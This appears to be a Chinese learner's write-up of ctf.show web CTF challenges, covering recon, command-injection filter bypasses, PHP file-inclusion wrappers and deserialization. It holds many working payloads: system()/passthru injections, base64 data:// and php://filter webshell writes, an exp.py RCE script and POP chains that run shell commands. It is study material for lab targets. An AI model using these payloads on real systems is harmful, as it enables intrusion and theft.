信息收集
web1-3
web1:
1.直接查看源码即可
web2:
1.可以使用Ctrl+U查看源码
2.火狐浏览器的网址栏输入about:config,再输入javascript关闭它即可
web3:
1.发现源码没有信息,查看响应包,F2然后查看network
Web4
考点:robots协议
输入:网址/robots.txt
获取到信息,存在不想被爬的flagishere.txt文件
再输入:网址/flagishere.txt
获取到flag
web5-6
考点:phps文件泄露、www源码泄露
积累个字典,使用dirb去爆破目录
dirb 网址 自定义字典
web7-9
考点:git源码泄露、svn源码泄露
查看是否存在.git、.svn文件后缀: 网址/.git 网址/.svn
web10
考点:vim缓存信息泄露
再积累个字典信息,使用dirb进行爆破
web11
考点:cookie传递信息
通过网页调试的network进行查看cookie,发现存在flag信息
web12
考点:利用所有信息
查看源码后没有发现,看了network的信息没有帮助,然后扫一波目录,发现了admin目录,进去发现需要密码,找了一圈就发现原来页面下面的数字有用,输入admin和数字,成功获得
web14
考点:编辑器默认配置泄露网站根目录
查看源码和其他信息,发现很多内容都是无用的,太多信息也没有看过来,根据提示找到了图1信息。进入以下目录editor/upload/发现是404信息,退一个目录进入editor发现是编辑器,点击一圈,发现存在插入文件有文件空间(即编辑器默认配置显示目录空间),点击看到一堆的目录,事先看var目录下的信息,中奖发现www目录,进入html目录,发现一个nothinghere的目录,进入发现fl000g.txt文件,然后在目录栏中输入:网址/nothinghere/fl000g.txt看到flag。(发现editor目录也可以用dirb进行扫描,丰富了一波字典)
web15
考点:利用公开信息
看了一波源码,并没有什么发现,只有一些英文和图片,然后没有发现有用信息,使用dirb扫描一波目录,发现了admin目录和admin/index.php文件,点开admin.php发现是一个登录界面,然后尝试抓包跑了一波sqlmap,发现没有用,再回去点击忘记密码,发现需要密保(居住城市),再返回查看首页,发现只有邮箱,然后查看QQ信息,发现是西安的,重置密码成功,再次登录成功获得flag。(有点假,就是收获个思想)
web16
考点:PHP探针
php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息
查看源码发现都是css,js文件,没有用处,然后查看数据包发现也没有需要的信息,通过dirb扫描一波无用后,看了题解添加tz.php文件查看php探针。发现存在很多信息,根据提示查看phpinfo配置,发现其中有flag
web17
考点:sql备份泄露
查看源码发现没有什么信息,只有拼成的简陋图1,查看数据包也没有。使用dirb发现了backup.sql文件(图2),下载发现flag
web18
考点:审查js代码
查看了源码,发现只有js和css文件,然后查看数据包,没有需要信息,再用dirb扫一波,发现只有没用的loin.php,最后没有办法查看提示,发现是新接触的题型,对js进行审计,发现了game_over一开始为false,然后socre>100的时候输出一些编码信息(图1),然后直接对该信息进行unicode解码,发现是图2信息,然后根据提示看到flag,一开始题目也给了101分钟也是一种提示。
web19
考点:泄露重要信息在前端
查看源码发现了重要信息(图1),知道设置了username和pazzword并且这些值等于图上的值的时候echo flag,而且上面有对pazzword进行加密,所以直接用hackbar进行传输username和pazzword的明文,获取到flag
直接传递POST会将文明直接发送给服务器,但是这可能被拦截,所以会在前端进行一定的数据加密
信息收集总结一波
需要收集可利用信息,如果无法找到可见的有用信息再对网站进行目录爆破,需要好好做好爆破字典收集
爆破
web25
有点巧妙,找到了个工具php生成种子工具
一看就是PHP代码审计,然后发现了$rand=intval($r)-intval(mt_rand())并且打印了$rand,这不就是一大块可以知道mt_rand()的值嘛,然后求出这个值就可以了,很遗憾自己没有实力求出它的种子,下面上工具求出值后即可获取flag
工具地址:https://github.com/Al1ex/php_mt_seed
git下载方式:git clone https://github.com/Al1ex/php_mt_seed
下载后命令行输入make然后回车编译出php_mt_seed文件当前目录使用:./php_mt_seed 随机值
爆破总结一波
很多时候都会用到工具,要熟悉工具, 还需要收集一些字典
命令执行
考点:过滤条件下使用命令
web29
查看源码发现通过get方式传入c并且大小写传入过滤flag(/i是不区分大小写),然后传入/?c=system(“ls”);发现了当前目录下存在flag.php,然后就看wp了
解法一:使用system函数+?、*
/?c=system(‘tac *g.php’); //*代表多个匹配
/?c=system(‘tac ?lag.php’); //?代表一个匹配
解法二:引用参数+eval
/?c=eval($GET[1]);&1=system(“tac flag.php”); //&1表示system(“tac flag.php”),前面的eval($GET[1])相当于eval(system(“tac flag.php”);),直接执行了系统命令,不用通过源码的验证是否存在flag
解法三:闭合语句+文件包含+伪协议
/?c=1;?><?php include($_GET[‘url’]);&url=php://filter/read=convert.base64-encode/resource=flag.php
然后base64解码
解法四:复制文件+系统命令(我觉得很骚)
?c=system(“cp ?lag.php 1.txt”); //需要调用系统执行函数然后查看1.txt文件
注意:
1.如果system函数被禁用可以使用passthru代替
2.php的eval执行是语句,所以需要用;来闭合语句,不然报错
web30
考点:过滤条件下使用命令
通过显示的源码发现禁用了flag/system/php,这时候发现就会少了很多可用的技能,如php伪协议、system函数等等,然后根据上一题的学到了passthru这个函数可用替代system函数,而exec这个函数执行不会返回结果,所以无法达到想要的目的。
解法一:passthru函数+tac
?c=passthru(“tac%20?lag.?hp”);
解法二:passthru函数+cp
?c=passthru(“cp%20?lag.?hp 1.txt”);
然后查看1.txt
解法三:echo +反字节(和调用系统函数接近)
?c=echo `ls`;
?=echo `cp%20?lag.?hp%201.txt`;
web31
考点:过滤条件下使用命令
发现该题目过滤的条件有点多,其中sort是常用于文件内容排序,无法使用system执行命令,那么可以使用passthru,后来使用passthru(“echo%09$0”);发现shell是sh,即无法使用{$IFS}绕过空格,其中%09的url解析为tab的作用.
解法一: passthru函数+tac+正则表达式
?c=passthru(“tac%09fla*”);
解法二: passthru函数+cp+文件复制+正则表达式
?c=passthru(“cp%09fla*%091”);
?c=passthru(“tac%091”);
解法三: passhtru函数+eval嵌套
?c=eval($_GET[b]);&b=passthru(“tac%09fla*”);
理解:传入两个参数,其中参数c是eval($_GET[b]),即过滤只对这个参数c进行过滤,不影响后面的参数b,而参数b是作为c的$_GET的执行参数,c参数执行为eval(“passthru(“tac%09fla*”);”)
web32
考点:严格过滤条件下使用命令
发现过滤了很多的内容,其中将反引号和(过滤了,即无法使用带有括号的函数,也无法使用部分php伪协议,还无法使用;闭合内容。尝试使用编码绕过,发现技术不到位,困难看wp
解法一:使用include和filter伪协议
?c=include%09$_GET[“rs”]?>&rs=php://filter/convert.base64-encode/resource=flag.php
解释:
1.include函数无需要括号也可以执行,不过需要空格开
2.使用%09代替空格,%09是tab的url编码
3.使用?>闭合函数,达到绕过分号的作用
4.使用引用参数来实现伪协议的使用(直接包含flag.php会发现没有输出)
解法二:include和data://伪协议
?c=include$_GET[rs]?>&rs=data://text/plain,<?php system(“ls”); //查看当前目录的文件
?c=include$_GET[rs]?>&rs=data://text/plain,<?php system(“tac flag*”);
web33
内容大概如上,不过需要注意过滤多了一个双引号,所以$_GET括号中的“不用使用
?c=include%0a$_GET[rs]?>&rs=php://filter/read=convert.base64-encode/resource=flag.php
web34
内容大概如上,过滤多了一个冒号,不过使用引用参数,正则匹配并不影响第二个rs参数,可以使用伪协议
?c=include$_GET[rs]?>&rs=php://filter/convert.base64-encode/resource=flag.php
web37
自PHP>=5.2.0
起,>可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码
用法:
data://text/plain,
data://text/plain;base64,
对传入的参数c进行了过滤,传入包含大小写为flag的参数内容则无效。需要输入文件名字,然后获取flag.php的flag值,需要转码或者正则表达式来达到绕过flag过滤
解码:data:// + base64编码 / 正则表达式
查看目录: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==
获取flag.php信息:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTsgPz4=
获取flag.php信息:?c=data://text/plain,
web40
过滤了很多的内容,包括$和&,则无法使用include函数和调用参数,无法使用冒号则排除了使用伪协议的可能,无法使用反引号则无法使用linux的命令。发现括号是中文括号,并不是应该括号,所以可以使用一些函数,这题最后做不出来,只能看wp了。
解法一:get_defined_vars() + array_pop() + next()
?c=eval(array_pop(next(get_defined_vars()))); + 查看目录post: rs=system(“ls”); | 获取内容post: rs = system(“tac flag*”);
解法解释:
get_defined_vars () : 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量(版本PHP 4 >= 4.0.4, PHP 5, PHP 7)
array_pop() :删除数组中的最后一个元素并返回数组的最后一个值
current() : 返回数组中的当前(第一个)元素的值
next() : 将内部指针指向数组当前元素的下一个元素,并输出
总说法:
先使用?c=print_r(get_defined_vars());获取变量信息,发现了顺序为GET、POST、_COOKIE和_FILES_信息,其GET和_FILES_数组信息为输入信息,POST和_COOKIE信息为空。用hackbar对POST进行操作,发现可行(还不会对COOKIE进行操作)。思路:先用next取出get_defined_vars的post的内容,然后取出post内容的第一个元素作为执行的命令内容。取出post内容的payload为next(get_defined_vars()),取出post值的第一个元素的payload为current(next(get_defined_vars()))或者array_pop(next(get_defined_vars())),因为post只有一个元素。最后执行该内容即可,即?c=eval(array_pop(next(get_defined_vars()))); + post传值
解法二:localeconv() + reset() + scandir() + array_reverse() + next() + show_source()
?c=show_source(next(array_reverse(scandir(reset(localeconv())))));
解法解释:
localeconv() : 函数返回一个包含本地数字及货币格式信息的数组, 第一个元素是” . “
scandir() : 返回指定目录中的文件和目录的数组
array_reverse() : 将原数组中的元素顺序翻转,创建新的数组并返回
reset() : 将内部指针指向数组中的第一个元素,并输出
show_source() : 是highlight_file()的别名,对文件进行 PHP 语法高亮显示,即显示源码。
总说法:
取出localeconv的第一个元素” . “作为scandir的参数,即返回当前目录的文件和目录信息,然后发现flag.php在倒数第二个,逆序数组,flag.php就成为新 数组的第二位置,用next()函数可以获取第二个位置的内容,然后用show_source打印flag.php的源码,即获取到flag
web41
这题过滤了很多的内容,想尝试异或或者取反绕过,发现也过滤了相关的~和^,直接看wp,运用了一个很好的脚本来执行了命令
生成可用字符脚本rec.php:
><?php >$myfile = fopen("rce_or.txt", "w"); >$contents=""; >for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //可用修改过滤的内容 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } >} >} >fwrite($myfile,$contents); >fclose($myfile);
调用生成内容执行命令脚本exp.py:(python exp.py url)
># -*- coding: utf-8 -*- >import requests >import urllib >from sys import * >import os >os.system("php rce_or.php") #没有将php写入环境变量需手动运行 >if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) >url=argv[1] >def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) >while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
先执行rec.php,然后生成文件后执行exp.py,调用命令然后获取信息
web42
题目是设计了LINUX的命令作用,>/dev/null 2>&1对操作的内容不进行回显
解法一:“ ; ”分隔命令
查看目录信息:?c=ls;1 查看文件内容:?c=tac flag.php;1
解法二:分行处理
查看目录信息:?c=ls%0a 查看文件内容:?c=tac flag.php%0a //%0a的URL解码是换行
导出错误区别:
2>/dev/null
把错误输出到/dev/null文件中,这个文件会丢弃一切写入其中的数据,类似“黑洞”/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”2>&1 >/dev/null
意思就是把错误输出2重定向到标准输出1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕其中0,1,2是文件描述符。0代表标准输入,1代表标准输出,2代表标准错误
web52
题目过滤了很多的内容,其中包括了%09(tab)和%26(&),即无法使用tab来代替空格和&&执行另外命令,同时还过滤了tac等查看文件的命令,同时还设置了flag不在当前目录,而是在根目录的flag文件中
解法:ca’’t+ ${IFS} + %0a(换行)
查看当前目录:?c=ls%0a //使用?c=ca’’t${IFS}fla?.php%0a查看源码发现只有$flag=”flag_here”
一直查看上一级目录,最后发现了根目录的flag:?c=ls${IFS}../../../${IFS}-al%0a
查看flag内容:?c=ca’’t${IFS}../../../fla?%0a
web54
过滤的内容十分之多,过滤匹配可能的 “flag” 关键字,但是可以使用?绕过(·匹配任意的字符,而*匹配0次或者多次,但是?匹配任意字符,使用?可以达到绕过这个匹配机制),然后查看文件内容的命令也过滤了很多,无法使用’’或者\绕过关键字(在关键字中添加’’或者\都被过滤),但是发现还可以使用uniq命令和rev命令
解法一:uniq命令+f???????
payload:?c=uniq${IFS}f??????? 然后查看源码ctrl+u
解法二:rev命令+f???????
payload:?c=rev${IFS}f???????
解法三:/bin/c??+f??????? //在系统路径下使用cat命令
payload:?c=/bin/?at${IFS}f???????
web55
看到将大小写字母都过滤了,同时还过滤了反引号,无法执行命令,没有新的知识储备完成,这是新的学习内容。(get传入参数+post传文件)
解法:glob通配符 + ” . “执行命令
通过POST上传文件:
><!DOCTYPE html> ><html lang="en"> ><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> ></head> ><body> <form action="http://4739117f-db02-44a8-8059-4a9e9bbe2f31.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"> <br> <input type="submit" name="submit" value="提交"> </form> ></body> ></html>
上传文件1.txt:
#!/bin/bash
ls
最后传参数: ?c=.%20/???/????????[@-[]
解释:
通过post上传文件到靶机地址,上传文件内容为执行命令的内容,然后PHP会将POST上传的文件临时保存在/tem的目录下并且命名为php+随机大小写6位数字的形式(/tem),最后再用” . “和通配符执行该上传文件的内容.大小字母的ASCII范围在字符@和[间,所以最后一个字母匹配为大写
web68
很有意思,一看就是highlight_file()函数被禁了,然后只能根据之前的内容猜测是post传参数c,尝试后确实如此.想要使用c=print_r(glob(“*”));查看当前目录信息,发现print_r()函数被禁止使用,然后使用var_dump()代替,发现目录下有flag.php,然后使用之前学到查看文件内容的函数,发现几乎都被禁用了,无法继续.最后弄了一阵子,无法解决看了wp.发现可以使用include来查看文件的非程序内容,但是无法查看flag.php的内容,因为其中内容被视作php代码执行了,被注释,最后看到了readgzfile函数()[读取文件,解压缩并将其写入标准输出]可以查看文件的内容,发现文件不在当前目录下,于是使用c=var_dump(scandir(“../../../“));不断查看上一级的目录信息,发现在../../../目录下存在flag.txt
解法:
c=readgzfile(“../../../flag.txt”);
c=include(“../../../flag.txt”);
web69
题目和web68差不多,不过当我想要输出的时候,发现了var_dump和print_r都被禁用了,当想使用echo的时候,发现echo无法打印数组,于是查询了一下资料,发现json_encode可以将数组转换成json的字符串形式,implode也可以将数组转换成字符串的形式,最后使用其中一种做完题目
解法:
查看目录: c=echo json_encode(scandir(“.”));
查看文件: c=readgzfile(“flag.php”);
继续查看目录: c=echo json_encode(scandir(“../../../“));
查看flag: c=readgzfile(“../../../flag.txt”);
implode(separator,array) : separator是可选连接数组的字符
json_encode (array) : 将数组转为JSON格式的字符串
web71
代码审计后发现ob_get_contents(版本php4、5)是返回输出缓冲区的内容,大概作用是将执行命令的输出内容存储在$s中,然后用ob_end_clean清空缓存不直接输出命令执行结果的内容,并用将命令执行结果内容的大小写字母和数字内容更改成“ ? ”输出,达到无法看清命令执行结果的内容。
解法一:提前结束程序运行
使用die()或者exit(0)结束程序
查看目录:c=echo json_encode(scandir(“.”));die();
查看flag:c=readgzfile(“../../../flag.txt”);exit(0);
解法二:提前将缓存内容送到浏览器
ob_flush()【不会销毁缓冲区】和ob_end_flush()【会销毁缓冲区】将缓存内容送到浏览器并释放
查看目录:c=echo json_encode(scandir(“.”));ob_flush();
查看flag:c=readgzfile(“../../../flag.txt”);ob_end_flush();
命令执行总结一波
1.PHP中使用系统命令需要使用到system或者passthru函数,eval是代码执行
2.PHP中include函数是可以不使用()的
3.cat和tac在php中查看信息的区别是cat是顺序查看php代码,按照<?php格式执行代码,无法显示注释信息在页面,而tac逆序查看,没有这种格式顺序
4.nginx在linux的默认路径/var/log/nginx/access.log
5.%0a的url解码是换行,%09是tab的作用
6.使用&&需要传入%26%26
7.Linux一般查看文件命令
cat:连接文件并打印到标准输出设备上
tac:将文件全部内容从尾到头反向连续输出到标准输出(屏幕)上
less: 可以随意浏览文件,支持翻页和搜索,支持向上翻页和向下翻页
head:查看文件前几行内容,默认10行
tail:head相对
uniq:检查及删除文本文件中重复出现的行列
sort:将文本文件内容加以排序输出
od:读取所给予的文件的内容,并将其内容以八进制字码呈现出来
nl:显示文件对应行数的内容和字符数
rev:将文件里面按字节逆序输出
8.正则表达式匹配
.:匹配任何字符,除了换行符。
\d:匹配任何数字字符,相当于 [0-9]。
\D:匹配任何非数字字符,相当于 [^0-9]。
\w:匹配任何字母、数字或下划线字符,相当于 [a-zA-Z0-9_]。
\W:匹配任何非字母、数字或下划线字符,相当于 [^a-zA-Z0-9_]。
\s:匹配任何空白字符,包括空格、制表符和换行符。
\S:匹配任何非空白字符。
\b:匹配单词边界,用于确保匹配的内容是一个完整的单词。
\B:匹配非单词边界。
^:匹配字符串的开始。
$:匹配字符串的结束。
[abc]:匹配字符集中的任何一个字符,例如 [aeiou] 匹配任何一个元音字母。
[^abc]:匹配不在字符集中的任何字符。
a|b:匹配 a 或 b。
(abc):创建一个捕获组,可以在后续的正则表达式中引用。
9.PHP执行查看文件内容函数
file_get_contents
fread
fgets
fgetss
file
parse_ini_filereadfile
highlight_file
show_source
include
require
fpassthru
readgzfile
10.PHP伪协议
web79
发现将php进行了过滤,即没有办法使用php的语句,如果flag在flag.php也无法直接查看使用,或者是php://伪协议,使用file://协议也需要使用 到php后缀,但是发现data://协议可以进行数据处理。
解法一:data://协议+短标签
payload:?file=data://text/plain,= system("ls");?> //替换ls为tac flag*
解法二:data://协议的转码
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg== =>
查看flag.php:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTsgPz4= =>
web82
过滤的信息造成了对现在而言很大的难度,因为禁用php、data和“ : ”就禁用了大部分可查看数据的伪协议,然后我想过post上传文件,在docker中的默认地方查看和执行文件的bash命令,但是发现把” . “禁用了,再后来发现这不是命令执行了,无法执行命令内容了,而且文件包含的路径需要完整路径,最后弄了一通,看wp。
web87
发现对传入的file进行了过滤还进行了一次url解码,即想让我们无法完成文件的访问,同时还对传入的内容前连接上了die操作,即无法执行对应的传入内容,让它提前结束。想用php伪协议进行操作,可是发现无从下手,看wp后学到了一波知识 (操作就是用利用file_put_contents写入新文件内容,然后在访问新文件执行命令获取信息)
解法一:使用php://filter协议的base64解码
base64编码
下面有base64编码的介绍内容,大概就是base64编码会将字符串由4个字符通过规律变成4个字符,解码会将4个字符变成3个字符(需连续的字符,中间空格不影响),而字符的组成有大小写字母和数字还有” = “号,除了这些外,其他的解码内容视为跳过。
conten输入:
aaPD9waHAgc3lzdGVtKCJscyIpOyA/Pg== //除了aa外的解码内容是:<?php system(“ls”); ?>
解释:因为题目对post的content的内容连接了一些提前结束的内容,所以需要绕过这些内容,那么最好的方法就是将其分解成php无法识别的代码,所以通过base64编码进行绕过,通过base64的简单了解,发现相连的字母php die(6字符)可以将其凑成8个字符,让其解码成php无法认识的信息,就添加了两个字符的aa
file输入:
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30 //这一串是php://filter/write=convert.base64-decode/resource=flag.php的两个URL全编码
解释:因为发送参数的时候服务器会对url进行解码一次,然后接受参数后,题目要求再对file进行一次解码,所以需要两次url全编码,也绕过了php和” : “的过滤
最后访问flag.php文件就可以执行ls的命令了,其他的只需要修改ls内容并编码传入即可
><?php >$filename = $_GET["f"]; >$content = $_POST['c']; >if (isset($content) && isset($filename)) { file_put_contents($filename, '<?php exit(); ?>'.$content); >}else{ highlight_file(__FILE__); >} >//测试内容: >/* >f=php://filter/convert.base64-decode/resource=1.php >c=aPD9waHAgcGhwaW5mbygpOyA/Pg== //将php exit加个a配成8字符 >*/
解法二:使用伪协议组合拳string.strip_tags和base64解码
看到<?php die(“…”);?>其实是含有php标签的内容,而string.strip_tags可以剥去字符串中的 HTML、XML 以及 PHP 的标签,使内容变成die(“…”);无法执行,而再对后面输入的内容进行base64编码成需要执行的内容传入文件中【传入了payload后,因为存在string.strip_tags所以会对相关的标签进行消除,即原来存在的连接内容,但是因为payload是base64编码形式的内容,所以没有办法消除这个信息,再通过编码将编码后的执行内容输入到新文件中】
conten输入:
PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==
file输入:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
><?php >$filename = $_GET["f"]; >$content = $_POST['c']; >if (isset($content) && isset($filename)) { @file_put_contents($filename, '<?php exit(); ?>'.$content); >}else{ highlight_file(__FILE__); >} >//测试内容: >/* >f=php://filter/string.strip_tags|convert.base64-decode/resource=1.php >c=PD9waHAgc3lzdGVtKCJscyIpOyA/Pg== >*/
解法三:使用php://filter/string.rot13和短标签关闭【如果没有关闭会失效】
rot13是回转13位编码,即字母位回转移位13。同时php的短标签在Linux是默认关闭,而在Windows是默认开启的
利用php://filter/string.rot13对传入文件的内容进行解码,使得php无法识别被解码后的<?php exit();?>,然后获得解码后的webshell
><?php >$filename = $_GET["f"]; >$content = $_POST['c']; >if (isset($content) && isset($filename)) { @file_put_contents($filename, '<?php exit(); ?>'.$content); >}else{ highlight_file(__FILE__); >} >//测试内容: >/* >f=php://filter/string.rot13/resource=1.php >c=<?cuc flfgrz("qve");?> >Windows下需要将short_open_tag关闭 >*/
文件包含总结一波
1.文件包含需要完整的文件路径,无法使用通配符
2.转码可以使用php://filter和data://text/palin;
3.处理数据可以使用data://协议
4.base64编码最后的” = “是用于补充字符,删除仍可以编码
web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
发现条件是打印flag的条件是需要输入$username和$password,同时需要满足checkVip()和login()返回true,发现login很容易处理,但是checkVip()的返回是原来定义的false,导致无法打印flag。但是可以通过$user的反序列对其变量结果进行改变,题目的要求就对cookie的传入值进行反序列改变$user的值。(cookie值需要通过URL传入才能显示原始值,尝试了发现直接输入是无法全部识别的),序列化对象也是将对象的变量进行字符串化保存,但是对象的状态需要和原来相同(即对象名,对象变量的访问权限需要相同)
序列化$user的$isVip:
><?php >class ctfShowUser >{ public $isVip = true; >} >var_dump(urlencode(serialize(new ctfShowUser()))); >//得到需要的:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
比上面多了一个条件就是要求最后的判断$username 和 $password不相同,一开始我以为需要将$username的x弄少一个和password不相同然后传入的两个参数相同x就可以了,测试后发现不行。最后看了wp后理解了反序列的结果会改变对象的值,即反序列化后获得的值就是新的对象变量值。login函数的意思就是传入的参数和对象变量的对应值相同才可以通过,那么就可以修改序列化的$username和get参数username相同,和password不同即可以,$password和password也是如此。
wp如下
><?php >class ctfShowUser >{ public $username = 'xxxxxx'; public $password = 'xxxxxa'; public $isVip = true; >} >echo (urlencode(serialize(new ctfShowUser()))); >//user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxa%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
?username=xxxxxx&password=xxxxxa
web257
该题目新增了魔法函数,大概介绍放在了下面,这题目主要是通过调用getInfo()方法执行命令,那么需要调用该方法就需要创建backDoor对象。但是题目创建的对象是info类的,所以需要修改创建类的对象,后来发现调用getInfo()需要执行__destruct()方法,不太懂这个内容,就查了资料,发现当重新赋值的时候或者对象的变量都被删除的时候会自动调用,那么就很容易了,因为重新创建对象,那么原来对象的变量就都没有了,所以反序列编写如下:
<?php
class ctfShowUser
{
private $class; //尝试了发现public权限也可以,可能是
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor
{
private $code = "system('tac flag.php');";
public function getInfo()
{
eval($this->code);
}
}
echo (urlencode(serialize(new ctfShowUser())));
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
**__construct()**是使用关键字new实例化对象时会自动调用构造方法
__destruct()
是PHP面向对象编程的另一个重要的魔法函数,该函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行(对象被“销毁”是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束)
web258
这题多加了一个正则表达式过滤,大概意思就是如果匹配到O/C(大小写):1个或更多连续的数字,$user就无法获得反序列的值,那么就无法修改对象的值。新手不知道序列化,然后参考了资料,发现了一些内容利用
O:11:”ctfShowUser”
反序列化过程中,会先检测第一个” O “,检测通过就会跳到下一个检测“ : ”,通过后就开始检测这个问题地方了,它会检测这个” : “后是否为数字,如果是则通过,如果不是则停止,但是遇到了“ + ”时,它会跳转到一个中缓位置,继续检测下一个位置是否为数字,如果是也会继续通过,所以可用绕过正则表达式的过滤。【PHP5可尝试】
后来做的时候发现了还是错了,原来是$code的权限被修改public,这个也会影响反序列化结果。
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
public(公有) protected(受保护) // %00*%00属性名 private(私有的) // %00类名%00属性名
最后构建的POC为:
<?php
class ctfShowUser
{
public $class;
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor
{
public $code = 'system($_POST["shell"]);';
public function getInfo()
{
eval($this->code);
}
}
$res = serialize(new ctfShowUser);
$res = str_replace('O:', 'O:+', $res);
$res = str_replace('C:', 'C:+', $res);
echo urlencode($res);
//O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A24%3A%22system%28%24_POST%5B%22shell%22%5D%29%3B%22%3B%7D%7D
//最后看到版本为5.6.40
web259
>//flag.php的内容 ><?php >$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); >array_pop($xff); >$ip = array_pop($xff); >if($ip!=='127.0.0.1'){ die('error'); >}else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } >} >//index.php的内容 ><?php >highlight_file(__FILE__); >$vip = unserialize($_GET['vip']); >//vip can get flag one key >$vip->getFlag(); >?>
菜鸟表示看不懂,直接看wp学习一波知识吧。
知识:
一、PHP连接web服务需要通过soapclient(soap是简单对象访问协议)
二、array_pop()函数:去除数组最后一个元素,返回数组的最后一个值。如果数组是空的,或者非数组,将返回 NULL
三、file_put_contents函数:把第二个参数写入第一个参数的文件中
四、explode()函数:把字符串打散为数组(题目是按” , “分隔开的,所以传入需要使用” ,”)
